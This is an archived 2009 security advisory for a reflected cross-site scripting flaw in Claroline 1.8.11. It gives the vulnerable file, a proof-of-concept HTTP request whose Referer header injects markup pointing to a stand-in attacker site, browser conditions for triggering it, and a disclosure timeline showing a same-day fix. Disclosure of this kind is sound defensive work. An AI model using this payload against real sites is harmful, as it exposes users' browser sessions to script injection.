AOH :: HP Unsorted C :: VA3403.HTM

Claroline v.1.8.11 Cross-Site Scripting
Claroline v.1.8.11 Cross-Site Scripting
Claroline v.1.8.11 Cross-Site Scripting

Author: Gerendi Sandor Attila 
Original Advisory: 
Date: May 05, 2009
Package: Claroline (1.8.11)
Product Homepage: 
Versions Affected: v.1.8.11 (Other versions may also be affected)
Severity: Medium

Input passed to the 'Referer' header parameter when posting to '/claroline/linker/notfound.php' is not sanitized before it is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.


GET /claroline_1_8_11/claroline/linker/notfound.php HTTP/1.0
Accept: */*
Referer: ">http://remoteatackersite/referer/?"> 

will return a page from wich if we call /claroline_1_8_11/claroline/linker/notfound.php we trigger the XSS.

Note: For the first request browsers like IE are required (which does not automatically httpencode the get params)

1. Contacted the author at: May 05, 2009 via 
2. The author promptly (same day) fixed the problem, read at: 

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH
We do not send spam. If you have received spam bearing an email address, please forward it with full headers to